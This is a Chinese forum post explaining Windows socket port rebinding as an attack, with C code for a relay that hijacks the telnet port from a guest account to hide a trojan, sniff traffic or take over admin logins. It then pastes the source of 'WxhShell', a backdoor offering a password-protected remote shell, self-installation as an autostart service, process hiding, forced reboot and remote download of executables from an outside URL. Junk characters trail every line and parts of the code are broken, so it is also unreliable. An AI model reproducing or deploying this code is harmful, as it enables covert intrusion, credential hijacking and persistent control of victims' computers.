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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |Q _]+[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !e"TWO*X  
QTNE.n<?  
  saddr.sin_family = AF_INET; aC#8%Spj  
DKGZm<G>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9:l@8^_o  
O] nZr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cqyrao3;  
PN&;3z Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (GNY::3  
R#QcQx  
  这意味着什么?意味着可以进行如下的攻击: |{8eoF  
LBkAi(0rd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7Vd"AVn}g  
:)9 ^T<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4Nx]*\\  
[x.Dw U%S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iA[WDB\|0  
Ef2#}%>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o/U"'FP  
\?X'U:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^8#;>+7R  
D\ H) uV`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mq(*4KFWJ2  
]ZjydQjo )  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pzPm(M1^X  
l"-F<^ U  
  #include %?7j Q  
  #include ] _ON\v1  
  #include :$#"; t|  
  #include    zU7/P|Dw+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   b2Jgg&?G  
  int main() 07?|"c.  
  { /4f4H?A -  
  WORD wVersionRequested; 3;h%mk KQ+  
  DWORD ret; \D]H>i$  
  WSADATA wsaData; o|v_+<zD!  
  BOOL val; 8@f=GJf  
  SOCKADDR_IN saddr; e{dYLQd  
  SOCKADDR_IN scaddr; )|`# BC  
  int err; ny. YkN2  
  SOCKET s; !VfP#B6.  
  SOCKET sc; Cy~Pfty  
  int caddsize; Yc*Ex-s  
  HANDLE mt; 3]X~bQAw  
  DWORD tid;   ^?5 [M^  
  wVersionRequested = MAKEWORD( 2, 2 ); Po=@ 6oB  
  err = WSAStartup( wVersionRequested, &wsaData ); YlY3C  
  if ( err != 0 ) { kh'R/Dt  
  printf("error!WSAStartup failed!\n"); ua^gG3n0  
  return -1; . >{.!a  
  } #z*-  
  saddr.sin_family = AF_INET; ^j1WF[GiSO  
   lR9~LNK?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m'Thm{Y,?n  
gUcG#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r3hUa4^97  
  saddr.sin_port = htons(23); i8tH0w/(M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $g?`yE(K  
  { 3%JPJuNVw  
  printf("error!socket failed!\n"); ^,$>z*WQ.  
  return -1; 7|"gMw/  
  } 'WA]DlO  
  val = TRUE; *c[X{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A;4O,p@   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &mM[q 'V  
  { 2[Ja|W\If  
  printf("error!setsockopt failed!\n"); km]RrjRp  
  return -1; \*C}[D  
  } #hOAG_a,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sKkk+-J4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {M5[gr%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W+'|zhn  
\.R+|`{tf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E_aDkNT  
  { F`3J=AJOJ  
  ret=GetLastError(); L0Fhjbc  
  printf("error!bind failed!\n"); j^g^=uau  
  return -1; Z5vpo$l  
  } W* XG9  
  listen(s,2); !]W}I  
  while(1) 5jpb`Axj#  
  { *:q,G  
  caddsize = sizeof(scaddr); p&:(D=pIu  
  //接受连接请求 <Q4yN!6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -qPYm?$  
  if(sc!=INVALID_SOCKET) Dt9[uyP&  
  { azj:Hru&t#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BtSl%(w  
  if(mt==NULL) c&+p{hH+  
  { 9Okb)K95  
  printf("Thread Creat Failed!\n"); oWZbfR9R  
  break; BtyBZ8P;e  
  } \9*,[mvC  
  } %D(% lh2  
  CloseHandle(mt); LV:`si K  
  } +=5Dt7/|  
  closesocket(s); QT5,_+ho  
  WSACleanup(); K#B)@W?9  
  return 0; M-Az2x;6  
  }   )V}u}5  
  DWORD WINAPI ClientThread(LPVOID lpParam) uKI2KWU?2  
  { m#E%, rT  
  SOCKET ss = (SOCKET)lpParam; %lw!4Z\gg  
  SOCKET sc; S z3@h"  
  unsigned char buf[4096]; $6ZO V/0  
  SOCKADDR_IN saddr; 6S;-fj  
  long num; a8#6}`|C?  
  DWORD val; Ol,Tw=?  
  DWORD ret; .,C8ASfh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }}";)}C`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y] Io`w(>  
  saddr.sin_family = AF_INET; 24TQl<H{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  $)5F3 a|  
  saddr.sin_port = htons(23); L{hP&8$k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K% ) K$/A  
  { _?M71>3$.  
  printf("error!socket failed!\n"); 'NM$<<0  
  return -1; +v 9@du  
  } 'g8~uP  
  val = 100; (z}q6Lfa  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~*|0yPFg  
  { 26Y Y1T\B)  
  ret = GetLastError();  )"im|9  
  return -1; vwZrvjP2  
  } ?jywW$   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) < c[+60p"  
  { ,FvBZ.4c3=  
  ret = GetLastError(); : kVEB<G  
  return -1; AXV+8$ :R  
  } : -@o3Syg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^K4#_H#"  
  { !BN7 B  
  printf("error!socket connect failed!\n"); ~aK@M4  
  closesocket(sc); Wx;`=9  
  closesocket(ss); /7$3RV(  
  return -1; NR8YVO)5$  
  } TSQ/{=r  
  while(1) pPUv8, %  
  { HWFI6N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 87P.K Yy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lNcXBtwK@#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2=3pV!)4}  
  num = recv(ss,buf,4096,0); VO|2  
  if(num>0) =?U"#a  
  send(sc,buf,num,0); 69U[kW&  
  else if(num==0) q M( n]{H  
  break; k%iZ..  
  num = recv(sc,buf,4096,0); C:77~f-+rQ  
  if(num>0) 9/rX%  
  send(ss,buf,num,0); X\?e=rUfn  
  else if(num==0) w<?v78sT  
  break; Hq.ys>_  
  } 26fbBt8nP  
  closesocket(ss); rBv  
  closesocket(sc); S!0ocS!t  
  return 0 ; >&K1+FSmyJ  
  } x)M=_u2 _  
2k,!P6fgl  
Mf0XQ3n`H  
========================================================== y{~l&zrl  
c;w%R8z  
下边附上一个代码,,WXhSHELL :NL.#!>/  
%m:T?![XO  
========================================================== T&_!AjH  
C wKo'PAJ  
#include "stdafx.h" xm@vx}O:  
 fL9R{=I%  
#include <stdio.h> iyw "|+  
#include <string.h> 4%Q8>mEvT  
#include <windows.h> {/]Ks8`Dm  
#include <winsock2.h> f n9[Li  
#include <winsvc.h> q' };.tv  
#include <urlmon.h> hcEU kD  
P 0xInW F  
#pragma comment (lib, "Ws2_32.lib") S0V%JY;Gv  
#pragma comment (lib, "urlmon.lib") VXforI  
B_w;2ZuA  
#define MAX_USER   100 // 最大客户端连接数 m^dKww  
#define BUF_SOCK   200 // sock buffer -ec ~~95  
#define KEY_BUFF   255 // 输入 buffer bP%0T++vo  
Hcw@24ic  
#define REBOOT     0   // 重启 ][8ZeM9&p  
#define SHUTDOWN   1   // 关机 Xp <RG p7E  
eW$G1h:  
#define DEF_PORT   5000 // 监听端口 X4emhB  
=4z:Df  
#define REG_LEN     16   // 注册表键长度 [gZd$9a  
#define SVC_LEN     80   // NT服务名长度 D*d@<&Bl4<  
}-H<wQ&x  
// 从dll定义API g:/l5~b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `A5^D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V\8vJ3.YV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K'[H`x^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); | fAt[e_E  
4e d+'-"m  
// wxhshell配置信息 %C*oy$.  
struct WSCFG { q^],K'  
  int ws_port;         // 监听端口 j[ !'l,I  
  char ws_passstr[REG_LEN]; // 口令 kN9pl^2  
  int ws_autoins;       // 安装标记, 1=yes 0=no wy5vn?T@  
  char ws_regname[REG_LEN]; // 注册表键名 t.m65  
  char ws_svcname[REG_LEN]; // 服务名 hETTD%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 * iW>i^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zR2'xE*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cDMA#gp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "(/ 1]EH`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (,eH*/~/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6 flc  
\HFeEEKH  
}; g+gHIb7{  
Uv,_VS(  
// default Wxhshell configuration D'e'xU  
struct WSCFG wscfg={DEF_PORT, "=I ioY  
    "xuhuanlingzhe", vS %r_gf(  
    1, ;L.@4b[lP  
    "Wxhshell", *h Ph01  
    "Wxhshell", &) 7umdSgi  
            "WxhShell Service", mc_`:I=  
    "Wrsky Windows CmdShell Service", wXf_2qB9  
    "Please Input Your Password: ", is`Eqcj`dr  
  1, x0wy3+GZc  
  "http://www.wrsky.com/wxhshell.exe", dxlaoyv:  
  "Wxhshell.exe" E 5PefD\m  
    }; 7-81,ADv(  
HABMFv  
// 消息定义模块 -fu=RR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SesJg~8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n0#HPI"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c;l d  
char *msg_ws_ext="\n\rExit."; ?#^(QR|/  
char *msg_ws_end="\n\rQuit."; :`6E{yfM  
char *msg_ws_boot="\n\rReboot..."; w^09|k  
char *msg_ws_poff="\n\rShutdown..."; WZaOw w  
char *msg_ws_down="\n\rSave to "; Jq)!)={  
;Dg8>  
char *msg_ws_err="\n\rErr!"; {,p<!Jq~G  
char *msg_ws_ok="\n\rOK!"; 5DKR1z:  
s  bV6}  
char ExeFile[MAX_PATH]; 3e$&rpv  
int nUser = 0; yjZxD[ Z  
HANDLE handles[MAX_USER]; \3w=')({  
int OsIsNt; dE2(PQb*P  
X"<t3l(+  
SERVICE_STATUS       serviceStatus; d V#h~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0%.l|~CE&  
ZK4/o  
// 函数声明 jvn:W{'Q  
int Install(void); . Rxz;-VA  
int Uninstall(void); FCU~*c8Cs  
int DownloadFile(char *sURL, SOCKET wsh); D^P_3 B+  
int Boot(int flag); w~sr2;rp<  
void HideProc(void); PNgj 8J4  
int GetOsVer(void); ZiodJ"r  
int Wxhshell(SOCKET wsl); DPI iGRw  
void TalkWithClient(void *cs); >_h*N H  
int CmdShell(SOCKET sock); ='<0z?Af  
int StartFromService(void); rWI6L3,i+  
int StartWxhshell(LPSTR lpCmdLine); L}CjC>R!  
bWAhK@epI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); knZee!FA7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g&;:[&% T]  
s)W^P4<  
// 数据结构和表定义 8E1swH5 z  
SERVICE_TABLE_ENTRY DispatchTable[] = 3=V79&  
{ ,dK<2XP  
{wscfg.ws_svcname, NTServiceMain}, RajzH2j+>  
{NULL, NULL} +K2jYgy  
}; F n4i[|W42  
G^J|_!.a  
// 自我安装 \"i2E!  
int Install(void) RVtb0FL  
{ [_ESR/&N  
  char svExeFile[MAX_PATH]; u$d T^c  
  HKEY key; "1_eZ`  
  strcpy(svExeFile,ExeFile); * 3mF.^  
) 2C`;\/:  
// 如果是win9x系统,修改注册表设为自启动 " cx\P,<  
if(!OsIsNt) { QcG4~DEX4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^.y}2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <m"Zk k  
  RegCloseKey(key); mu0ER 3o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "<x%kD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^0ZabR'  
  RegCloseKey(key); h\afO  
  return 0; n8#iL  
    } H\AJLk2E  
  } -L(F:  
} :Zl@4}  
else { `qp[x%7^  
S1NM9xHJ  
// 如果是NT以上系统,安装为系统服务 !T02@e/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @D&VOJV  
if (schSCManager!=0) 9/TF #  
{ ;muxIr`?  
  SC_HANDLE schService = CreateService m[,! orq  
  ( xpt*S~  
  schSCManager, OF'y]W&  
  wscfg.ws_svcname, $NzD&b$7  
  wscfg.ws_svcdisp, v)>R)bzqe  
  SERVICE_ALL_ACCESS, <[Ae 0UK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  RSXYz8{  
  SERVICE_AUTO_START, `WSm/4 m  
  SERVICE_ERROR_NORMAL, |13UJ vR  
  svExeFile, Va>~7  
  NULL, _oxhS!.*  
  NULL, }8Tr M0q8  
  NULL, ]Ec\!,54u  
  NULL, Zoh[tO   
  NULL k2o98bK&;  
  ); Q.Tn"rE|  
  if (schService!=0) 8R}CvzI  
  { NL%5'8F>,  
  CloseServiceHandle(schService); &=y)C/u  
  CloseServiceHandle(schSCManager); {b~l [  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l -us j%\  
  strcat(svExeFile,wscfg.ws_svcname); -bT1Qh X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <5 G+(vP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #-kG\}  
  RegCloseKey(key); >AI65g  
  return 0; ;HRIB)wF  
    } `8xt!8Z$  
  } S*<+vIo  
  CloseServiceHandle(schSCManager); 7<['4*u  
} 1*<m,.$  
} \?A 7{IY  
XOK.E&eilj  
return 1; :4|ubu  
} Lgl%fO/<t  
Ub!MyXd{q  
// 自我卸载 Bfwa1#%?  
int Uninstall(void) Hy~kHBIL  
{ Qvt  
  HKEY key; j4>1a   
9q;n@q:29  
if(!OsIsNt) { "pGSz%i-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B*#lkMr  
  RegDeleteValue(key,wscfg.ws_regname); t=\y|Idc  
  RegCloseKey(key); daS l.:1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 45fk+#  
  RegDeleteValue(key,wscfg.ws_regname); zX{K\yp  
  RegCloseKey(key); Y8YNRyc=  
  return 0; [A99e`  
  } JJ_77i  
} ,;9byb  
} <hazrKUn  
else { + >?"P^  
:=!?W^J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jy#'oadS?  
if (schSCManager!=0) F3j#NCuO=z  
{ /f2HZfj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CU'$JF  
  if (schService!=0) H;5FsKIF  
  { bC{1LY0  
  if(DeleteService(schService)!=0) { r kOLTi[$  
  CloseServiceHandle(schService); WBdC}S }3t  
  CloseServiceHandle(schSCManager); k!-(Qfz  
  return 0; =z`GC1]bL  
  } j}~3m$  
  CloseServiceHandle(schService); Ao>] ~r0  
  } z 4 4(  
  CloseServiceHandle(schSCManager); 9D,`9L5-=  
} D  /wX  
} 8V$pdz|[  
4,kdP)Md$  
return 1; ;^VLx)q  
} !0Hx1I<*x  
:(gZ\q">k  
// 从指定url下载文件 &0A^_Z .nA  
int DownloadFile(char *sURL, SOCKET wsh) z.EpRJn  
{ ZdQt!  
  HRESULT hr; ,kiyx h^  
char seps[]= "/"; YmXh_bk  
char *token; 'o41)p  
char *file; 6S*L[zBnA\  
char myURL[MAX_PATH]; i!5zHn  
char myFILE[MAX_PATH]; CsfGjqpf  
8bT]NvCA  
strcpy(myURL,sURL); ^i>Tm9vM  
  token=strtok(myURL,seps); $e>(M&9,  
  while(token!=NULL) d'Cn] <  
  { iupuhq$ ]  
    file=token; >p"ytRu^  
  token=strtok(NULL,seps); xx[XwN;  
  } '*K}$+l  
"tax  
GetCurrentDirectory(MAX_PATH,myFILE); i#c1 ZC  
strcat(myFILE, "\\"); rt-^?2c?  
strcat(myFILE, file); mOm_a9M L  
  send(wsh,myFILE,strlen(myFILE),0); ro:B[XE  
send(wsh,"...",3,0); n1D,0+N=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?Ybgzb  
  if(hr==S_OK) x,)|;HXm  
return 0; )nncCU W  
else a B(_ZX'L  
return 1; 4#jW}4C{  
aPD4S&"Q  
} |T!ivd1G  
z^;0{q,  
// 系统电源模块 }.bhsy  
int Boot(int flag) h0i/ v  
{ @ Gxnrh6  
  HANDLE hToken; KY}c}*0  
  TOKEN_PRIVILEGES tkp; tCZ3n  
c;X8: Z=ja  
  if(OsIsNt) { tkQ#mipAj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SvE3E$*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !$}:4}56F  
    tkp.PrivilegeCount = 1; &d1|B`gL|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; glk-: #  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]Dj,8tf`H  
if(flag==REBOOT) { Aun X[X9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #m %ZW3  
  return 0; of?hP1kl[  
} _Z9HOl@  
else { H?\b   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wrtJ8O(  
  return 0; -B+Pl*  
} TV&:`kH  
  } r1vF/yt(  
  else { T >BlnA  
if(flag==REBOOT) { `XT8}9z!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ANqWY &f  
  return 0; 5%`fh%  
} k&TZ   
else { q6R``  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >ucVrLm,X  
  return 0; 'E_M, Y  
} v2Lx4:dzi  
} g" c|%3  
e+'PRVc  
return 1; gXrXVv<)yw  
} qIXo_H&\C  
,gag_o{*a  
// win9x进程隐藏模块 x}\_o< d  
void HideProc(void) 32#|BBY  
{ M`_RkDmy<  
Q}/2\Q=)j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1a_R8j  
  if ( hKernel != NULL ) D7v-+jypp  
  { }bkQr)us  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vp"=8p#k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1W@ C]n4  
    FreeLibrary(hKernel); k 5~#_D>  
  } h`{agW B  
[9}D+k F  
return; >d/DXv 3  
} aHhr_.>X  
& B CA  
// 获取操作系统版本 kMJf!%L(  
int GetOsVer(void) ,Z_aZD4  
{ YB;q5[  
  OSVERSIONINFO winfo; ?o0ro?9j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3u&>r-V6Fn  
  GetVersionEx(&winfo); *?l-:bc]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $C&y-Hnar  
  return 1; H]zi>;D  
  else F},#%_4  
  return 0; >0^oC[ B  
} \:7G1_o  
 ~OdE!!  
// 客户端句柄模块 -MA/:EB  
int Wxhshell(SOCKET wsl) 9V]{q  
{  /y2)<{{I  
  SOCKET wsh; ,RA;X  
  struct sockaddr_in client; jUtFDw  
  DWORD myID; 3izGMH_`  
sN"JVJXi  
  while(nUser<MAX_USER) Ah_,5Z@&R  
{ -a^%9 U  
  int nSize=sizeof(client); 7,^.h<@K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j@ehcK9|  
  if(wsh==INVALID_SOCKET) return 1; lMn1e6~K  
h vC gd^M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KR49Y>s<  
if(handles[nUser]==0) d9qA\ [  
  closesocket(wsh); a;GuFnfn,  
else VM.4w.})_E  
  nUser++; q3_ceXYU  
  } &"_5?7_N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {jK:hQX  
c3L)!]kB  
  return 0; @2X{e7+D  
} o+}>E31a  
,\%qERk  
// 关闭 socket 2kXa  
void CloseIt(SOCKET wsh) >14 x.c  
{ }{oZdO  
closesocket(wsh); WVa-0;  
nUser--; O7})1|>1  
ExitThread(0); i(hL6DLD  
} p-qt?A  
mFGiysM  
// 客户端请求句柄 ^yl)c \`  
void TalkWithClient(void *cs) z\kiYQ6kA  
{ T09'qB  
1xf Pe#  
  SOCKET wsh=(SOCKET)cs; $\9M6k'  
  char pwd[SVC_LEN]; CogN1,GJ  
  char cmd[KEY_BUFF]; +N3f{-{"Yo  
char chr[1]; Dr_ (u<[  
int i,j; zJMm=Mw^  
>QA;02  
  while (nUser < MAX_USER) { ^!FLi7X  
-wdd'G  
if(wscfg.ws_passstr) { X5Fi , /H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5`3Wua  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >508-)'  
  //ZeroMemory(pwd,KEY_BUFF); :(?F(Q^  
      i=0; Y!1x,"O'H  
  while(i<SVC_LEN) { =Z(_lLNmh  
H1fKe=$1  
  // 设置超时 ab!Cu8~v  
  fd_set FdRead; i(9 5=t(  
  struct timeval TimeOut; n2p(@  
  FD_ZERO(&FdRead); I@M3u/7  
  FD_SET(wsh,&FdRead); ;WP%)Z  
  TimeOut.tv_sec=8; 8*7,qX  
  TimeOut.tv_usec=0; 57S!X|CE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kGkfLY6B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wcf;ZX  
NB.s2I7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !k}]`z^d  
  pwd=chr[0]; ?TLzOYJp  
  if(chr[0]==0xd || chr[0]==0xa) { lx H3a :gm  
  pwd=0; [S:{$4&  
  break; ^C|N  
  } X:Iam#H  
  i++; tD j/!L`  
    } kc:>[{9  
Mr}K-C?ge  
  // 如果是非法用户,关闭 socket DKG99biJN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b" PRa|]  
} 7`pK=E}+  
=[D '3JB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QI WfGVc-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EyK F5TP0  
Ia%S=xU{=  
while(1) { G@=H=' :~  
3[UB3F 4K  
  ZeroMemory(cmd,KEY_BUFF); i2y E-sgF  
7lH.>n  
      // 自动支持客户端 telnet标准   ` JZ`j7f  
  j=0; 6|@\\\l  
  while(j<KEY_BUFF) { 1:j[p=Q&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VX+:C(m~  
  cmd[j]=chr[0]; b9L" ?{  
  if(chr[0]==0xa || chr[0]==0xd) { sVNM#,  
  cmd[j]=0; I$Ra*r  
  break; SKdh!*G  
  } c*N>7IF,  
  j++; XPfheV G  
    }  IPDQ  
qi]"`\  
  // 下载文件 ;X}!;S%K  
  if(strstr(cmd,"http://")) { ?}Y;/Lwx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6p)dO c3L  
  if(DownloadFile(cmd,wsh)) @ |^;d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ni Y.OwKr  
  else $OP w$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <ZXK}5SZ#  
  } nN*:"F/^  
  else { av:9kPKm  
Xt$o$V  
    switch(cmd[0]) { C#tY};t  
  ^- H  
  // 帮助 hTS?+l  
  case '?': { [39  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YkJnZ_k/P  
    break; %1UdG6&J_  
  } tGVC"a  
  // 安装 Y| 2Gj(*8  
  case 'i': { J5j3#2l  
    if(Install()) nm{J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w\{oOlE  
    else 56l1&hp8In  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); haoQr)S  
    break; [[A}MF*@  
    } '^ob3N/Y [  
  // 卸载 xL#UMvZ>;h  
  case 'r': { @";zM&  
    if(Uninstall()) RS9mAeX4h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:P+S%ZL  
    else h$U(1B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;%V)lP"o  
    break; >sl#2,br  
    } .{ -C*  
  // 显示 wxhshell 所在路径 N^@aO&+A  
  case 'p': { j3_vh<U\  
    char svExeFile[MAX_PATH]; /{sFrEMP\  
    strcpy(svExeFile,"\n\r"); WcZck{ehd  
      strcat(svExeFile,ExeFile); o>?#$~XNv  
        send(wsh,svExeFile,strlen(svExeFile),0); eUZvJTE  
    break; #Ks2a):8  
    } N799@:.  
  // 重启 Y-y<gW  
  case 'b': { 9yWQ}h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R\ZyS )~l  
    if(Boot(REBOOT)) _I A{I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gzd)7np B2  
    else { W"&Y7("y  
    closesocket(wsh); ITr@;@}c]  
    ExitThread(0); vq;_x  
    } ^wTod\y  
    break; $*N)\>~X  
    } )|Xi:Zd5>  
  // 关机 ;Q8LA",5d  
  case 'd': { FNgC TO%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Puodsd  
    if(Boot(SHUTDOWN)) @p$$BUb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uYy&<_r  
